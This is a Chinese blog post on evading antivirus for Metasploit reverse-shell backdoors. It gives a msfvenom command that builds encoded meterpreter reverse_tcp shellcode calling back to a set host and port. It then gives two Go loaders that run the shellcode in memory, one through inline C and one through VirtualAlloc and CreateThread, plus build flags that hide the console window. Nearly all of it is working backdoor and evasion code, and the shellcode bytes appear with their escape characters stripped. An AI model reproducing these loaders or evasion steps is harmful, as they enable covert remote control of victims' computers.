关于msf反弹后门的免杀Tips

2019 年 10 月 7 日
筆記

No.1

声明

No.2

前言

msf是一个很强大的工具，我经常会在渗透用它来反弹shell，不过它生成的反弹后门会被不少杀软kill，这篇文章只是讲讲我在msf中一个简单的免杀小技巧。

No.3

思路

我以前接触过一款python的远控，其实说是远控，基本也就是nc的功能加了一个服务端的web页面控制并加了一些其他的功能可以用来管理诸多客户机

这款远控我下载下来用过，并用pyinstaller打包成了exe（缺点是体积太过庞大），惊奇的是，XXX不杀它，然后自己想着其他语言是不是也会这样，于是我用golang写了一个简易版nc反弹，编译之后，也是不查杀的。python和golang有一个共同点，就是可以用来内联C编程，所以C语言的shellcode按理说应该会达到同样的效果。

No.4

得到shellcode

msfvenom -p windows/meterpreter/reverse_tcp LPORT=5555 LHOST=192.168.1.100 -e x86/shikata_ga_nai -i 11 -f py > 1.py

建议是生成32位的，如果想生成64位也可以，-e x86/shikata_ga_nai -i 11是指用x86/shikata_ga_nai编码迭代11次，然后生成py文件。 py文件打开是shellcode，我们接下来对它进行一点小改造，对于python去执行shellcode的方法，相信小伙伴都已经不陌生，在《python灰帽子》中有讲解，我今天要使用的是golang，其实个人认为golang执行shellcode的代码是更简洁的。

No.5

Golang环境搭建

安装Golang32位（建议32位，与前面对应，在测试过程中，如果32位shellcode配合64位golang加32位gcc，就算把golang的GOARCH改为386也依旧会失败，建议一一对应），安装gcc32位（可以使用TDM-GCC）。

No.6

代码编写

package main    /*  void call(char *code) {      int (*ret)() = (int(*)())code;      ret();  }  */  import "C"  import "unsafe"    func main() {      buf := ""      buf += "xddxc6xd9x74x24xf4x5fx33xc9xb8xb3x5ex2c"      buf += "xc9xb1x97x31x47x1ax03x47x1ax83xc7x04xe2"      buf += "x46x84xfdx72xeex0exb5x96x37x04x6dx63x9f"      buf += "xccxa4x3ax8ex8cxf7x39x81xcaxe4x42xffxce"      buf += "xa3xa2xdbx06xc0x3fxafx41x73xbaxf7x20x13"      buf += "x98x8cxffxfax0axdax6exf2x6dxc3x81x07xc0"      buf += "x1bx37xebxa2xa9x32x71xafxe9x20xd1xaax9e"      buf += "xbdx82xf3x81x1fxabxbfxc4xd9x6cx75x37x3a"      buf += "x53x78x90x79xafx93x1bxb3x15x09xe5x45x5c"      buf += "x26x0fx0dx16x52xf1x8ax7ex8bxc4x50x8ex0a"      buf += "x38x2fx2bx40x73x0bxf0x51x5fxc6xbfx04x47"      buf += "x80x36xe5x88x88xb3xfcxa0x52xfex92x81x8d"      buf += "x89xf2x6axccx7fx9axe9x1ax30x73xa3x63x42"      buf += "x10xe9xcfx62xe4x06x52xe1x8dx88xfex52xc4"      buf += "xc3xedx7ax0ex66x5fx8cx2cxefxfaxbdx8cx79"      buf += "x6cx01xe3x5cxdexc4x8ax4cx7dx34x32xb5x23"      buf += "x56x6cx52x3fx15x26x6axf8x6bx81x2cx23x8d"      buf += "x41x6ex24x30xc6xcbxbax26xd4x3bx37xd3xc6"      buf += "xa8x5ax16x8fx1ex27xcaxcbxdax7fx74x62xb2"      buf += "x62xa6xb1xfcx64x53x3axa7xa4x21x3dx79x08"      buf += "x06x74x2axa2xe7x0dx68x16xa3x96xe5xadx32"      buf += "x10xa3x0fx49xc3x69xa7x5bx61x1axf8x1dx9e"      buf += "x9bx3ax00xfcx18xc3x42x1axd6x44x5dxfexc5"      buf += "xb6x68xd2xadx24xdax74xa7xf3x66x9ax42x7a"      buf += "x50xf0x0bx47xbcxadx6cx1excaxbex90xcaxc3"      buf += "x8ex5bxdex66xe2xb3x20x6fx38x17xc1xacxfb"      buf += "xd3x2fx91xa7xffx65xd7xd0x25x4cxd4xb3x35"      buf += "x38xa1x82xb8x23x42xe9xa5x95x8exc4x35xca"      buf += "x92xfexdex62x70xd6x7ax7fxfdxfbxf0x24xbd"      buf += "x5dx6dx3dx13xbcx1dx25x54x9dx0ex68xc8x9a"      buf += "x10x87xf0xc9xacx37x57x84x23x5fx8axc0xab"      buf += "x52x6exaex79xa2xdbxffxd8x41x28x8bxd3x9d"      buf += "x68x3cx55xf2xfex0cx8ax38xdfxb3x80x9bx70"      buf += "x2bx4exe1xfax0bxfexf5xc3x1ax0dx83xb0x69"      buf += "xd0x68xfbxe0xaexbdx56x52x17x9axf8x8fxc0"      buf += "x14x8cxb0xf7x0ex87xfax54xf4x04x4ax5axc8"      buf += "x89x57x0exbfx7ax76x9bxfexb8x5fx31x42xec"      buf += "xafx18x9ex3fxf0x09x79x86xb3x08x29x50xfd"      buf += "xc3x46x7dx24x51x5bxd0x81x19x6fxc2x2cx17"      buf += "xabxa3xb7xd9x6fx82xd9x37x5fx38x01xd8xfd"      buf += "xfdx11x22x61xd0x92x45x37x4fx6cx4ex91x3b"      buf += "x42x07xc5x77xdcx52xd6xc7x9dx7bx62xbax1c"      buf += "x62x3cxdexadx96x03x55xdex9dx52x5cx5dx0c"      buf += "x73x0exc3x4cxaex7dx1cx7cx64xafxbbxcexa6"      buf += "x02x0exb1x51xc4x2dx1bx6bxb7x7cxd9x4bxc3"      buf += "x8cx43xd6x1bx2ax4fx5ex0ax9axd5x4dx45x64"      buf += "x6cx0cxc8xf5x59xd7x45x36x85x99x8dx34x65"      buf += "x21xd3x3bx35xcex22x29x0cx4excax48x3fx55"      buf += "x5dx1bxdax35xc1x2d"      // at your call site, you can send the shellcode directly to the C      // function by converting it to a pointer of the correct type.      shellcode := []byte(buf)      C.call((*C.char)(unsafe.Pointer(&shellcode[0])))  }

以上就是全部代码。其实Golang还有个执行shellcode的方法是不用内联C语言的，但是我这边测试能接到反弹shell，但是执行命令会直接断开，代码我也贴出来。

package main    import (      "syscall"      "unsafe"  )    func ThreadExecute(Shellcode []byte) {      var K32 = syscall.MustLoadDLL("kernel32.dll")      var CreateThread = K32.MustFindProc("CreateThread")      var VirtualAlloc = K32.MustFindProc("VirtualAlloc")      var WaitForSingleObject = K32.MustFindProc("WaitForSingleObject")        Addr, _, _ := VirtualAlloc.Call(0, uintptr(len(Shellcode)), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE)      AddrPtr := (*[990000]byte)(unsafe.Pointer(Addr))        for i := 0; i < len(Shellcode); i++ {          AddrPtr[i] = Shellcode[i]      }        ThreadAddr, _, _ := CreateThread.Call(0, 0, Addr, 0, 0, 0)      WaitForSingleObject.Call(ThreadAddr, 0xFFFFFFFF)  }

关于断开的原因，希望找出原因的能告知我一下，其实我们会发现，内联C是比较简单的。

No.7

杀毒测试

在代码所在目录cmd执行go build得到二进制文件（或者可以用go build -ldflags="-s -w"减小体积，go build -ldflags="-H windowsgui -s -w"去掉命令窗口）。。